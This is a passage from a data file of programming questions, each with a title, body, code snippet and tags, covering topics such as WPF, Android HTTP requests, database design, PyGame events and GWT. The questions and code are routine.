BorderThickness=\"5\" ItemsSource=\"{Binding Path=dateItems}\"
DisplayMemberPath=\"Name\" SelectedValuePath=\"Name\" SelectedValue=\"{Binding
Path=dateItem}\" Width=\"233\" Height=\"164\" />\n </StackPanel>\n <Button
Click=\"Button_Click\" Width=\"102\" Height=\"34\" Margin=\"0,98,-1,69\"
Grid.Row=\"1\" Grid.Column=\"2\" Content=\"\u05d1\u05d7\u05e8\"
FontFamily=\"Guttman Yad-Brush\" Background=\"AliceBlue\"></Button>\n <TextBox
Name=\"dateTextBox\" Grid.Column=\"1\" Margin=\"26,152,0,33\" Grid.Row=\"1\"
FontFamily=\"Guttman Yad-Brush\" Grid.ColumnSpan=\"2\" />\n <Calendar
SelectedDate=\"{Binding Path=SelectedDate}\" Height=\"168\" Name=\"calendar1\"
Width=\"182\" SelectedDatesChanged=\"calendar1_SelectedDatesChanged\"
Margin=\"66,68,485,115\" Grid.RowSpan=\"2\" />\n</Grid>\n", "wpf wpf-controls
binding"], "5958642": ["How to retrieve data from json link?", "I can retrieve data
from normal json link But I have one link which is password protected.\nThan How
can I connect this with my Android application?\nplease help me ?\nThe code for
connect to normal link I am using is here.\n\n", "ArrayList<NameValuePair>
nameValuePairs = new ArrayList<NameValuePair>();\n nameValuePairs.add(new
BasicNameValuePair(\"track_date\", \"2011-08-09\"));\n nameValuePairs.add(new
BasicNameValuePair(\"tracker_user_id\", \"\" + 374));\n\n try {\n
HttpClient httpclient = new DefaultHttpClient();\n HttpPost httppost = new
HttpPost(\n
\"http://abovestress.com/app_stress/fetch_all_detail.php?
task=fetchtimefromdateanduserid&\");\n httppost.setEntity(new
UrlEncodedFormEntity(nameValuePairs));\n HttpResponse response =
httpclient.execute(httppost);\n HttpEntity entity = response.getEntity();\n
is = entity.getContent();\n } catch (Exception e) {\n
Log.e(\"log_tag\", \"Error in http connection \" + e.toString());\n }\n //
convert response to string\n try {\n BufferedReader reader = new
BufferedReader(new InputStreamReader(\n is, \"iso-8859-1\"), 8);\n
StringBuilder sb = new StringBuilder();\n String line = null;\n while
((line = reader.readLine()) != null) {\n sb.append(line + \"\\n\");\n
}\n is.close();\n result = sb.toString();\n Log.v(\"log_tag\",
\"Append String \" + result);\n } catch (Exception e) {\n
Log.e(\"log_tag\", \"Error converting result \" + e.toString());\n }\n\n //
parse json data\n try {\n JSONArray jArray = new JSONArray(result);\n
for (int i = 0; i < jArray.length(); i++) {\n JSONObject json_data =
jArray.getJSONObject(i);\n
fetchsosfromID.add(json_data.getString(\"track_time\"));\n }\n
Log.v(\"log_tag\", \"daily_data \" + fetchsosfromID);\n\n } catch (JSONException
e) {\n Log.e(\"log_tag\", \"Error parsing data \" + e.toString());\n }\
n}\npublic boolean isTimeExistSos(){\n\n return false;\n}\n", "android json
connection"], "5812599": ["Wordpress with multi level moderation", "I want to
create a newslatter like site with Wordpress.\nI am searching for a Wordpress
plugin that can do the following:\n- Everyone can register\n- Everyone can send a
news(post)\n- Editor will aprove or reject these posts (not publish)\n- Admin will
publish aproved posts or reject.\nI am ok if you have any other CMS
recommendation.\n", "", "wordpress administration moderation"], "690955": ["Track
and Field statistics database problems", "Hey guys I was hoping someone could steer
me in the right direction! I've been working on this for a while and, I won't lie,
it is for a class, but, I am making it for our college too. It's basically a
database to keep track of stats from meets. An example of what I want it to do is,
lets say someone runs the 800m run and they run a 1:58 or something, well that
person will have that stat to their name, if that makes sense. But anyway here are
my tables. \nBy the way, this will go into a MySQL database, and will be used from
a web interface, not access. But this is what I have so far, and for some reason,
it's not really making sense to me...\nAthleteTable(\nAthleteID\nAthleteFirstName\
nAthleteLastName\nAthleteDOB\nAthleteHome\nAthleteHighschool\nAthleteYear\
nAthleteGender\nAthleteWeight\nAthleteHeight\nAthleteEvents)\
nAthleteParticipationTable(\nAthleteParticipationID\nEventID\nAthleteID\nT_F_ID\
nEventMark)\nEventTable(\nEventID\nEventName\nEventLocation\nEventDate\
nEventSeason)\nTrack_and_Feild_Event_Table(\nT_F_ID\nEventName)\nThe Athlete table
is just that, it's the athletes themselves. The Athlete Participation is what
events the athletes ran/jumped/threw etc... in the meet. The Event Table is
something one of my teachers suggested I put in there, and that's the one I'm
having troubles with. In the Event table, it's an autonumber but in the the
athleteparticipation, it's a number. And the Track_and_Field table is all of the
possible events in track and field.\nI guess, I was just wondering if I'm even
going at this the right way and if anyone can help that'd be glorious. \nAnd if I
didnt explain everything well enough just tell me what you want me to elaborate on
and I will do that\n", "", "database database-design"], "2137138": ["WP7 - XNA to
Silverlight navigation back Gesture issue", "I am having total reverse issue. I
have main screen set as Silverlight and from that, i go the XNA code which actually
plays my game. \nNow the issue is that first time when i navigate from SL to XNA,
it works fine since my gestures are not set. Here I set my gestures. Now i navigate
back to first screen (silverlight). From there i click \nPlay button again to open
my xna code. Here it gives me TouchPanel.IsGestureAvailable == true by default
which is causing issue to my game play.\nI need to make sure that when user
navigate from XNA to Silverlight, all gestures should be disabled so when user
navigate again from SL to XNA... it works fine.\nCan anyone please help me since i
have been stuck from 2 days and not getting any solutions.\nThanks in advance.\
nJacob\n", "", "windows-phone-7.1"], "1760101": ["Sonicwall NSA 240, Configured for
LAN and DMZ, X0 and X2 on same switch - ping issues", "Our Sonicwall vendor
supplied and networked the NSA240 when we required a DMZ in our infrastructure.
This was configured and appeared correct although VPN users periodically dropped
DNS and Terminal Services. The vendor could not resolve and so the call was
escalated to Sonicwall.\nThe Sonicwall support engineer took a look and concluded
that the X0 (LAN) and X2 (DMZ) intefaces were cabled
to the same switch and so this is the issue. What he observed is a ping request
to the LAN Domain Controller, from a connected VPN user, is forwarded (x0) from the
VPN client IP to the DC IP but the ping response from the DC IP to the VPN client
IP is on X2, a copy of the log is detailed below:-\n02/02/2011 10:47:49.272
X1*(hc) X0 192.168.1.245 192.168.1.8 IP ICMP -- FORWARDED\n02/02/2011
10:47:49.272 -- X0* 192.168.1.245 192.168.1.8 IP ICMP -- FORWARDED\
n02/02/2011 10:47:49.272 X2*(i) -- 192.168.1.8 192.168.1.245 IP ICMP --
Received\n\n\nX0 - LAN\nX1 - WAN\nX2 - DMZ\n\nThe Sonicwall engineer concluded that
we either need a seperate switch for X2 or we use a VLAN switch for both.\nI am the
companies software engineer and we have yet to have heard back from the vendor, so
I am lost at sea at the moment. Do we need to buy this additional equipment or is
there another configuration on the NSA240 we can use?\n", "", "lan ping sonicwall
dmz interfaces"], "3874713": ["implement Comet with erlang and use it for PHP
application", "I'm building a PHP web application and I've reached a point that I
need to build a Comet server because I need to update my users' whenever a new data
is available (pretty much like FB). I've spent so much time searching the web and
I've come to a conclusion that the best way to build Comet server is to build it
with erlang. Also I've found that apache-php is not a good combination for doing
that because the process per request issue.So, I have to build a lightweight http
server for comet application.\nI'm totally newbie in erlang world but I'm thinking
of implementing Comet server in erlang and make it to function as interface for
updating the clients only. For the rest of my web application functions, I still
want to continue implementing them with PHP. So directing the requests of updating
the clients to the erlang server and directing the other requests to apache-php
server.\nIt seems very complicating. I need to know what's the best way to learn
erlang for the sake of building Comet server and how to combine the two languages
(erlang and php) to work together like when I have new info. to be pushed to the
clients, I need to make the new changes available to Comet and then it pushes the
info to the users. So how can I benefit from php and erlang and make them work
together.\nSorry for the long explanation but I really need your help guys and any
guidance you may give me to learn and implement what I want. Thanks a lot in
advance.\nEDIT:\nShould I consider learning Python and Twisted to accomplish what I
want? \n", "", "php python erlang comet twisted"], "5209253": ["How can I
restore programs that were sent to the background (Ubuntu)", "I was fooling around
with my dual display setup (turned on my second monitor is almost all) and a
handful of programs that were running seem not to be available anymore.
Thunderbird, Gvim, Tomboy\nps shows them, but I can't see them. Can't cycle to them
with alt-tab. They aren't just in some other window. I'm not even sure how to start
figuring out where everything went. \nIdeas? \n", "", "ubuntu multiple-monitors
ubuntu-9.10"], "4902181": ["Preg_match is not working to find a particular symbol
in a string", "I have a sentence from which I have to find the . So I used the
function, but it's not working. I have tested onine preg match. Over there its
working fine, but when I use the same match in my code it is not giving me the
desired output..\nMy function is :-\n\n", "#", "php5"], "1281724": ["Consider a
career in programming, would like advice on which degree to choose", "as the title
says I'd like advice on choosing a degree for a future career in programming.\nI
recently attended a Mastering Physics workshop at the University of Nottingham, in
which I attended several lectures. One of these lectures was dedicated to the
benefits of taking a physics degree.\nThe lecturer said that physicists were often
better at developing algorithms than computer scientists, and that many companies
prefer physicists over computer scientists.\nGiven that I'm looking at video game
programming in particular, and that his presentation made special reference to
video games (ray tracing etc), I'm now not sure what degrees I should be looking
at. The lecturer was most likely biased, I'm sure, since Physics was his field.\nI
do enjoy Physics and am currently studying it at AS Level. My question is, would it
benefit me more to take a Computer Science or a Physics degree? Or any other degree
for that matter?\nThanks in advance!\n", "", "computer-science physics"],
"4881371": ["Simple way to parse a wsdl", "I am trying to parse a wsdl to get the
operations, endpoint and an example payload. The wsdl in inputted by the user. I
can't find a tutorial to do this. \nI can only find ones that generate source code
which I don't need. I've tried using XBeans but apparently I need Saxon. Is there a
simple lightweight way to do this without Saxon?\ne.g.\n\nShould get operations:
GetLastTradePrice, GetLastTradePrice\nEndpoint: StockQuotePort\nSample Payload: \n\
nThis is like what SoapUI does. But I'm mainly concerned with being able to parse
the wsdl. A bit more context is the wsdl is uploaded and then the result is
displayed in a gwt application(file upload must go to the servlet). So I need to
parse the file and create Object the gwt will be able to understand.\n", " <?xml
version=\"1.0\"?>\n <definitions name=\"StockQuote\"\n targetNamespace=\
n \"http://example.com/stockquote.wsdl\"\n
xmlns:tns=\"http://example.com/stockquote.wsdl\"\n
xmlns:xsd1=\"http://example.com/stockquote.xsd\"\n
xmlns:soap=\"http://schemas.xmlsoap.org/wsdl/soap/\"\n
xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n <types>\n <schema
targetNamespace=\n \"http://example.com/stockquote.xsd\"\n
xmlns=\"http://www.w3.org/2000/10/XMLSchema\">\n <element
name=\"TradePriceRequest\">\n <complexType>\n <all>\n
<element name=\"tickerSymbol\" \n type=\"string\"/>\n
</all>\n </complexType>\n </element>\n <element
name=\"TradePrice\">\n <complexType>\n <all>\n <element
name=\"price\" type=\"float\"/>\n </all>\n </complexType>\n
</element>\n </schema>\n </types>\n <message
name=\"GetLastTradePriceInput\">\n <part name=\"body\" element=\
n \"xsd1:TradePriceRequest\"/>\n </message>\n <message
name=\"GetLastTradePriceOutput\">\n <part name=\"body\"
element=\"xsd1:TradePrice\"/>\n </message>\n <portType
name=\"StockQuotePortType\">\n <operation name=\"GetLastTradePrice\">\n
<input message=\"tns:GetLastTradePriceInput\"/>\n <output
message=\"tns:GetLastTradePriceOutput\"/>\n </operation>\n </portType>\n
<binding name=\"StockQuoteSoapBinding\"\n type=\"tns:StockQuotePortType\">\n
<soap:binding style=\"document\"\n transport=\n
\"http://schemas.xmlsoap.org/soap/http\"/>\n <operation
name=\"GetLastTradePrice\">\n <soap:operation\n soapAction=\n
\"http://example.com/GetLastTradePrice\"/>\n <input>\n <soap:body
use=\"literal\"/>\n </input>\n <output>\n <soap:body
use=\"literal\"/>\n </output>\n </operation>\n </binding>\n
<service name=\"StockQuoteService\">\n <documentation>My first
service</documentation>\n <port name=\"StockQuotePort\" \n
binding=\"tns:StockQuoteBinding\">\n <soap:address location=\
n \"http://example.com/stockquote\"/>\n </port>\n </service>\n
</definitions>\n", "java wsdl"], "3942672": ["Android Bluetooth: Slow data rates
calculated from BluetoothSocket", "Using: HTC Legend and HTC Salsa\nI'm calculating
the speed using:\n\nAnd writing some test data using\n\nThe writes are within
another threads while(true) also.\nI'm getting the following results.\n\nWhich is
confusing me since the phones specs state they use Bluetooth\u00ae 2.1 with EDR\
nWhich is capable of 260KB/S but I'm not even getting the old standard 90KB/s\nI'm
not sure if it's my stream and read/write calls (I'm using a buffered
datainputstream)\nOr if I'm calculating things wrong or have the wrong
information?\n", "while(true)\n {\n try \n {\n
int num = in.read(buffer);\n if(reading == false)\n
{\n prevTime = SystemClock.uptimeMillis();\n
reading = true;\n }\n else\n {\n
//Calculate KB/s\n count += num;\n Long
deltaTime = SystemClock.uptimeMillis()- prevTime;\n if(deltaTime
>= 1000)\n {\n Float speed =
(float)count/deltaTime;\n Log.d(TAG,\"Data: \" + speed
+ \"KB/s\");\n count = 0;\n prevTime
= SystemClock.uptimeMillis();\n }\n }\n\n
} catch (IOException e) {\n }\n }\n", "android sockets data
bluetooth rate"], "4971119": ["How Does Independence Affect Cardinality?", "I am
currently reviewing materials for my upcoming statistics midterm. On one of the
examples, it states:\nLet $ A = \\{ 1,3,5 \\} $ and $ P(A) = \\dfrac{1}{2} $, where
$ A $ is the event that a die is odd.\nThe question is:\n\nIs it possible to have
an event $ B $ where $ B $ and $ A $ are independent and $ P(B) = \\dfrac{1}{2} $?\
n\nThe answer states that this is impossible because $ |AB| = 1.5 $ (which breaks
the law that states that the cardinality of all events must be in the range $ 0 \\
leq x \\leq 1 $). Why is $ |AB| = 1.5 $? The answer explains this by using the
intersect $ P(AB) =
\\dfrac{1}{2} \\cdot \\dfrac{1}{2} = \\dfrac{1}{4} $. How does this imply that the
cardinality of the set is $ 1.5 $, however?\nThanks for your help.\n", "",
"probability"], "2454981": ["Maximum Weight / Minimum Cost Bipartite Matching Code
in Python", "I'm searching for Python code for maximum weight / minimum cost
matching in a bipartite graph. I've been using the general case max weight
matching code in NetworkX, but am finding it too slow for my needs. This is likely
due to both the fact that the general algorithm is slower, and the fact that the
NetworkX solution is implemented entirely in Python. Ideally, I'd like to find a
some Python code for the bipartite matching problem that wraps some C/C++ code, but
right now, anything faster than the NetworkX implementation would be helpful.\n",
"", "c++ python algorithm graph"], "3094782": ["Some translated t() strings appear
translated, others don't", "I've been struggling with this issue for a couple of
days now. I have a site with english as the default language. I have i18n module
installed, with path prefix configuration. The other language is spanish and in the
module is set spanish as default with english with the prefix 'en' in the url. I
have been doing translations and is working just fine. Nevertheless, I have some
problems with a couple of strings. Text appears in the translation interface,
translated properly between english and spanish, but when I navigate the page and
switch the language from spanish to english, the url changes but it keeps showing
the spanish version of some strings instead of the one in english. The funny thing
is that other strings, translated the same way, translate properly.\nAny ideas why
this could be happening? I'm really lost.\nThanks!\n", "", "drupal-6 translation"],
"403086": ["Latexdiff error (caused by multi paragraph \\sout): Paragraph ended
before \\UL@on was complete", "I try to use latexdiff to point out changes I have
made in a document to the other people who need to read it and give me their
advice... However, I've been getting this error:\n\nregarding this section of code
produced by latexdiff :\n\nWhere , , are defined as (in my main .tex, added
automagically by latexdiff) :\n\nWhat's wrong & what can I do now?\nEDIT : If I
replace the by just (i.e., remove the strike-through formatting), it works, but
that strike-through kinda was the best feature of it, making it easy to spot what
was removed. Is there another formatting command that would not break with a new
paragraph?\nIf there was a strikethrough environment I could probably use it (by
placing a in and an in ), but I don't think there is one.\n", "Runaway
argument?\n{En rajoutant aux interactions la seconde main, qui dans notre cas es\\
ETC.\n! Paragraph ended before \\UL@on was complete.\n<to be read again> \n
\\par \nl.8 }\n %DIFDELCMD <\n?\n", "errors latexdiff"], "4435223": ["array
manipulation", "I have a two column array (array1), for each row of that array I
need to compare the value in the 2nd column with a column value in each row of
another array(array1) , when they equal I want to append another column value (from
array2) to the first array.\nin english:\n\nscreen dumps of both arrays\n\n", "if
array1[x][1] = array2[y][0]\nthen array1[x][2] = array2[y][2]\n", "php arrays
sorting multidimensional-array"], "4822651": ["Image Uploader API", "I want to
create a widget for my theme that will let me upload an image to WP and crop it to
a certain size. Can anyone point me to the codex page or a tutorial on how to a
bare bone implementation of it?\n", "", "widgets uploads media-library add-image-
size"], "4164533": ["LPT I/O address mapping in PC", "I heard about USB to LPT
adapters that are capable of mapping PC legacy parallel port address. What is the
level of such mapping? I mean - is it possible to access the adpater's pins by
using 'in' or 'out' x86 assembler instructions (in Windows or Linux)? If not, what
does it mean that the addresses are mapped? What kind of emulation is this?\
nThanks.\nMarcin\n", "", "port hardware-interface lpt low-level-io"], "2392505":
["Is it true that the registry can slow a computer down?", "\nPossible Duplicate:\
nIs it worth cleaning the registry? \n\nWell, is it true that the registry can slow
a computer down? And how do I fix it? I've seen too many suspicious registry fixing
tools.\nThe computer is a Windows 7 x64 machine\n", "", "windows-7 windows-registry
performance"], "4370810": ["Slow C++ DirectX 2D Game", "I'm new to C++ and DirectX,
I come from XNA.\nI have developed a game like Fly The Copter.\nWhat i've done is
created a class named Wall.\nWhile the game is running I draw all the walls.\nIn
XNA I stored the walls in a ArrayList and in C++ I've used vector.\nIn XNA the game
just runs fast and in C++ really slow.\nHere's the C++ code:\n\nIn the Update
method I decrease the X value by 4.\nIn the Draw method I call sprite->Draw
(Direct3DXSprite).\nThat the only codes that runs in the game loop.\nI know this is
a bad code, if you have an idea to improve it please help.\nThanks and sorry about
my english.\n", "void GameScreen::Update()\n{\n //Update Walls\n int len =
walls.size();\n for(int i = wallsPassed; i < len; i++)\n {\n
walls.at(i).Update();\n if (walls.at(i).pos.x <= -40)\n
wallsPassed += 2;\n }\n}\n\nvoid GameScreen::Draw()\n{\n //Draw Walls\n
int len = walls.size();\n for(int i = wallsPassed; i < len; i++)\n {\n
if (walls.at(i).pos.x < 1280)\n walls.at(i).Draw();\n else\n
break;\n }\n}\n", "c++ optimization graphics directx sprite"], "4011124":
["change ID number to smooth out duplicates in a table", "I have run into this
problem that I'm trying to solve: Every day I import new records into a table that
have an ID number. \nMost of them are new (have never been seen in the system
before) but some are coming in again. What I need to do is to append an alpha to
the end of the ID number if the number is found in the archive, but only if the
data in the row is different from the data in the archive, and this needs to be
done sequentially, IE, if 12345 is seen a 2nd time with different data, I change it
to 12345A, and if 12345 is seen again, and is again different, I need to change it
to 12345B, etc.\nOriginally I tried using a loop where it would put all the 'seen
again' records in a temp table, and then assign A first time, then delete those,
assign B to what's left, delete those, etc., till the temp table was empty, but
that hasn't worked out.\nAlternately, I've been thinking of trying subqueries as
in:\n\nAny suggestions?\n", "where", "sql-server-2000 duplicate-data"], "5268458":
["TFS query mixing Tasks and Bugs, sorted by Priority", "We're using TFS with MSF
for Agile 4.2 on a project, and I have a bunch of work to do, both Tasks and Bugs.
Both are prioritized by our managers, and assigned due dates and target releases.\
nI use a Work Item query as my main TODO list, and I want to list all the Work
Items assigned to me, in order by due date and priority. \nProblem: I can't seem to
find a way to write a unified query that will list both Tasks and Bugs sorted by
date and then priority. The problem is that Tasks and Bugs use different fields for
Priority. So, my query currently lists the tasks by Due Date, then by Task
Priority, then it lists Bugs by Due Date, then by Priority. So, I see tasks that
are due later than bugs:\n\nTitle Due Date Priority Task Priority\ntask1
4/23/2010 Medium\ntask2 4/23/2010 High\ntask3
4/30/2010 Low\ntask4 4/30/2010 Medium\nbug1
4/23/2010 1\nbug2 4/23/2010 2\n\nWhat I want:\n\nTitle Due Date
Priority Task Priority\ntask1 4/23/2010 Medium\ntask2
4/23/2010 High\nbug1 4/23/2010 1\nbug2 4/23/2010 2\ntask3
4/30/2010 Low\ntask4 4/30/2010 Medium\n\nI don't care
if the bugs come before or after the tasks on the same due date; I just want all
the work items grouped together by due date, so I never see Tasks for a later due
date before Bugs for an earlier one. \nAnother problem is the sorting on Task
Priority -- alpha sort means I can't get them to sort by the meaning of the
priority. But that's a minor problem I can live with if I can get the Tasks and
Bugs intermingled. Any way to do this in a single query?\n", "", "query tfs
workitem work-item-tracking"], "619206": ["boost c++ serialize/deserialize", "Can
someone give me an example of serialization/deseralization using the Boost library?
I am working in c++/ubuntu 9.1\nI have the class\n\nHow can I create XML using
boost serialization? Or is there another way to do it?\n", "class x\n{\npublic:\n
x();\n\n std::string name;\n std::string surname;\n};\n", "c++ serialization
boost"], "2452246": ["Filtering an embedded list in MongoEngine", "If I have these
models:\n\nI want to have a query that returns the Mains, with the subs being
filtered by name existing\n\nThis returns the correct Mains, but the Subs are
always the entire list, not a subset. How can I get only the subset? Do I need to
rely on list comprehensions?\n", "class Sub(EmbeddedDocument):\n name =
StringField()\n\nclass Main(Document):\n subs =
ListField(EmbeddedDocumentField(Sub))\n", "python mongodb mongoengine"], "2471699":
["Scala equivalent to pyTables?", "I'm looking for a little assistance in Scala
similar to that provided by pyTables. PyTables is a package for managing
hierarchical datasets and designed to efficiently and easily cope with extremely
large amounts of data.\nAny suggestions? \n", "", "scala pytables"], "912923":
["Animate two DIV's side by side with jQuery, without pushing the other to the
bottom", "So I'm trying to get one DIV to slide off-screen to the left,
and then a preloaded DIV (offscreen) to slide in from the right.\nThis pretty much
works, except for one thing: \nIt Pushes the old DIV to the bottom when it
animates..\nBut they need to stay next to each other, as if your flipping through
pages..\nYou'll understand when you check this:
http://gasmar.home.xs4all.nl/flits/index.html\nFirst click on 'agenda' and then on
'zakelijk', you'll notice the DIV that should be pushed left should nicely animate
like the incoming DIV, but it gets pushed to the bottom of the new DIV.. after that
is takes the right position, but that's just not right.\nHere's my code:\n\nI tried
doing it with relative coordinates, but they just keep pushing each other away,
even when the z-position is different for each DIV it doesnt work..\nMaybe I should
preload the DIV's differently? but I dont know in what other way...\n(Also, as a
follow up, I'd like the DIV's to stay the size they end up as (not all strechty
like now) , although I have most parameters in % so when you resize the windows it
wil stay nice and proportioned)\n", "//Preload DIV outside page:\n$
(document).ready(function() {\n\n//preLoad 2 HTMLS:\
npreLoad(\"agendaPage\", \"agenda.html\");\
npreLoad(\"zakelijkPage\", \"zakelijk.html\");\n\n//preLoad Function\nfunction
preLoad(page, file){\n $('#preloadDIV').after('<DIV id=\"'+ page+
'\">'+page+'</DIV>');\n\n $('#'+ page +'').css(\n {\n //Load page DIV and
hide it 1000px to the right\n 'marginLeft' : \"1000px\",\n\
n }).load(''+file+' #'+page+'DIV').hide();\n\n };\n});\n\n\n\n//Bind
ClickEvent\n$('#zakelijk').bind('click', function(){\n
clickButton(\"zakelijk\");\n});\n\n//Button function\nfunction clickButton(name) \
n{\n fadeCurrentPageLeft(name);\n //Load Page\n renderPage(name);\n};\n\
n//Fade in new DIV\nfunction renderPage(name)\n{\n $('#' +
name).unbind('click');\n $('#'+name+'Page')\n .attr(\"id\", 'currentPage')\
n .animate(\n {\n 'marginLeft' : \"-=1000px\",\n
'position' : \"absolute\",\n }, \n {duration: 800, queue: false }, 'linear')\
n .show();\n\n //Set ID to current Page\n
$('#'+name+'Page');\n\n};\n\n//Fade out old DIV\nfunction fadeCurrentPageLeft(name)
\n{\n $('#currentPage')\n .animate(\n{\n 'marginLeft' : \"-=1000px\",\n}, \n
{duration: 3000, queue: false }, 'linear')\n .hide(\"drop\", {}, {duration: 3000,
queue: false })\n .attr(\"id\", name+'Page');\n};\n", "jquery table div jquery-
animate"], "3936456": ["Authenticating Mac local users in Java", "I have used jcifs
to authenticate Windows users (local as well as domain)\nHow do i authenticate Mac
local users using Java code ?\n", "", "java osx authentication osx-snow-leopard
osx-leopard"], "1989617": ["Python + PyGame - handling simultaneous mouse and
keyboard events", "I'm totally willing to submit to the idea that my hardware is
the cause of the problem here, however I don't honestly think so because I've
definitely seen the computer handle both kinds of input simultaneously using other
software/games/etc, so I'm guessing that the fault here is my approach to the
PyGame event handler.\nI'm casually mucking about with Python and PyGame, and have
just being trying to build my knowledge a piece at a time and express that
knowledge by building a 'game' as I'm learning. This is very much a work-in-
progress, there's no implementation of anything like collision detection or
scorekeeping, I figure that can come later.\nThe relevant conundrum here is that
the game will execute MOUSEMOTION events, and KEYDOWN events, it just doesn't seem
to want to handle them at the same time. While the \"player\" object is moving, it
cannot shoot, and while it is shooting, it cannot move. Since most gamers enjoy
the luxury of moving while shooting, I see this as a something of a snag.\n\nI'm
aware that this essentially produces a really uninspired Robotron clone, but like I
said, this is a toddler project of mine that I'm putting together while running
through tutorials online. Yes, there's a needless \"import random\" for now, it's
going to matter later.\nI'm guessing that there's a couple of hangups; for starters
I don't like the way that the creation of bullets is being handled (the player
object should, in my mind, add them to the game queue itself instead of returning a
True/False tuple, but it seemed sort of unintuitive to have the player object
mention the queue directly. and handling it with a try/except feels lazy, but
maybe I'm being critical). However I also sense that this problem is tantamount to
figuring out how to deal with getting the event handler to properly thing.update()
for simultaneous moving (MOUSEMOTION) and shooting (KEYDOWN).\nAnd I am also
guessing that in order to get this to behave more \"as one would expect\" that I
need to tell it to handle KEYUP events as well. However, I'm still just stymied as
to why exactly the event handler seems to pick one event.type and ignore the other
(in my experience it's been whichever one came first). \n", "import pygame,
random, sys\nfrom pygame.locals import *\n\npygame.init()\n\nwidth = 640\nheight =
480\n\n\nDISPLAYSURF = pygame.display.set_mode((width, height))\
npygame.display.set_caption('It moves!')\npygame.mouse.set_visible(0)\n\n\n\nclass
Player(pygame.sprite.Sprite):\n\n def __init__(self, x, y):\n
pygame.sprite.Sprite.__init__(self)\n\n self.x = x\n self.y = y\n
self.width = 50\n self.height = 25\n self.playerRect = None\n\n\n\n
def update(self, event):\n if event.type == MOUSEMOTION:\n
self.x, self.y = event.pos\n\n\n #get a new playerRect and draw it\n
self.playerRect = pygame.Rect(self.x, self.y, self.width, self.height)\n
pygame.draw.ellipse(DISPLAYSURF, RED, (self.playerRect), 3)\n\n\n def
shotcheck(self, event):\n if event.type == KEYDOWN:\n if
event.key == K_KP8:\n return (True, 'up')\n elif
event.key == K_KP2:\n return (True, 'down')\n elif
event.key == K_KP4:\n return (True, 'left')\n elif
event.key == K_KP6:\n return (True, 'right')\n elif
event.key == K_KP7:\n return (True, 'upleft')\n elif
event.key == K_KP1:\n return (True, 'downleft')\n elif
event.key == K_KP9:\n return (True, 'upright')\n elif
event.key == K_KP3:\n return (True, 'downright')\n else:\
n return (0, 0)\n\n\n\nclass Enemy(pygame.sprite.Sprite):\n def
__init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n self.x
= x\n self.y = y\n #self.body = pygame.rect.Rect(self.x, self.y, 15,
15)\n self.speed = 5\n self.xmove = 0\n self.ymove = 0\n\n\n\n
def update(self, event):\n self.x += self.speed\n if self.x > 350:\n
self.speed *= -1\n elif self.x < 25:\n self.speed *= -1\n\n
pygame.draw.rect(DISPLAYSURF, BLUE, (self.x, self.y, 15, 15), 4)\n\n\n\n#pass it a
directional value when fired based on the key\n#may have to divide speed / 2 if
moving diagonally\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self, x,
y, direction):\n pygame.sprite.Sprite.__init__(self)\n self.x = x\n
self.y = y\n self.direction = direction\n self.width = 4\n
self.height = 4\n self.bulletRect = None\n self.speed = 8\n\n\n\n
def update(self, event):\n\n if self.direction == 'up':\n self.y
-= self.speed\n\n elif self.direction == 'down':\n self.y +=
self.speed\n\n elif self.direction == 'left':\n self.x -=
self.speed\n\n elif self.direction == 'right':\n self.x +=
self.speed\n\n elif self.direction == 'upleft':\n self.x -=
(self.speed/2)\n self.y -= (self.speed/2)\n\n elif self.direction
== 'downleft':\n self.x -= (self.speed/2)\n self.y +=
(self.speed/2)\n\n elif self.direction == 'upright':\n self.x +=
(self.speed/2)\n self.y -= (self.speed/2)\n\n elif
self.direction == 'downright':\n self.x += (self.speed/2)\n
self.y += (self.speed/2)\n\n\n self.bulletRect = pygame.Rect(self.x, self.y,
4, 4)\n pygame.draw.ellipse(DISPLAYSURF, GREEN, (self.bulletRect), 2)\n\n\n\
n\n\nFPS = 30\nfpsClock = pygame.time.Clock()\n\n\nRED = (255, 0, 0)\nGREEN = (0,
255, 0)\nBLUE = (0, 0, 255)\nBLACK = (0, 0, 0)\n\n\n\nship = Player(width / 2,
height / 2)\nbads = Enemy(width / 2, height / 2)\n\n\n\nqueue =
pygame.sprite.Group()\nqueue.add(ship)\nqueue.add(bads)\n\n\nwhile True:\n
DISPLAYSURF.fill(BLACK)\n for event in pygame.event.get():\n if
event.type == QUIT:\n sys.exit()\n\n\n #passes 'event' to
everything in the queue and calls\n #their obj.update(). in this way the
gameloop \n #is a bit more readable\n for thing in queue:\n
thing.update(event)\n\n try: #i'm not married to this bit of code :/\n
checkForShot, shotDirection = ship.shotcheck(event)\n if checkForShot:\n
shotx, shoty = ship.playerRect.center\n shot = Bullet(shotx, shoty,
shotDirection)\n queue.add(shot)\n except TypeError:\n pass\n\
n pygame.display.flip()\n fpsClock.tick(FPS)\n", "python event-handling
pygame"], "1292375": ["Google Web Toolkit - how to add an external .jar package",
"How do we add an external .jar package in Google Web Toolkit (GWT)? I have
followed the steps \n1) added the .jar in classpath \n2) added <inherits
name='org.scribe.model' /> in my test.gwt.xml\nI get this error:\nLoading inherited
module 'org.scribe.model' \n [ERROR] Unable to find 'org/scribe/model.gwt.xml'
on your classpath; could be a typo, or maybe you forgot to include a classpath
entry for source? \n[ERROR] Line 8: Unexpected exception while processing element
'inherits'\nHowever, I have found from many sources that you need the source files
to compile the client side gwt. My question is what if one cannot get a source file
of the .jar package? What is the workaround?\nThanks in advance.\n", "", "gwt jar
package external"], "619207": ["What is the best way to learn qt creator?", "Am
basically a web developer who wants to learn a bit of desktop programming. I read
quite few articles in which most of them recommended \"qt\" for cross platform
apps. I tried my best to find a solution using the documentation provided in qt's
site, but unfortunately it didn't help me.\nSo is it that difficult to learn qt or
is it the material which I was referring to?\nThanks for your help.\n", "", "qt sdk
nokia"], "2776360": ["perl cookies wrong time", "So I am creating cookies using
Perl's CGI module, and I do it as so:\n\nAnd the cookie is set in the browser, the
only issue is that the time does not match up with the expiration date I put. For
example, if I put +1d for expiration date, it really does something like +1d -
several hours. I checked my system time to see if that was the issue, but my system
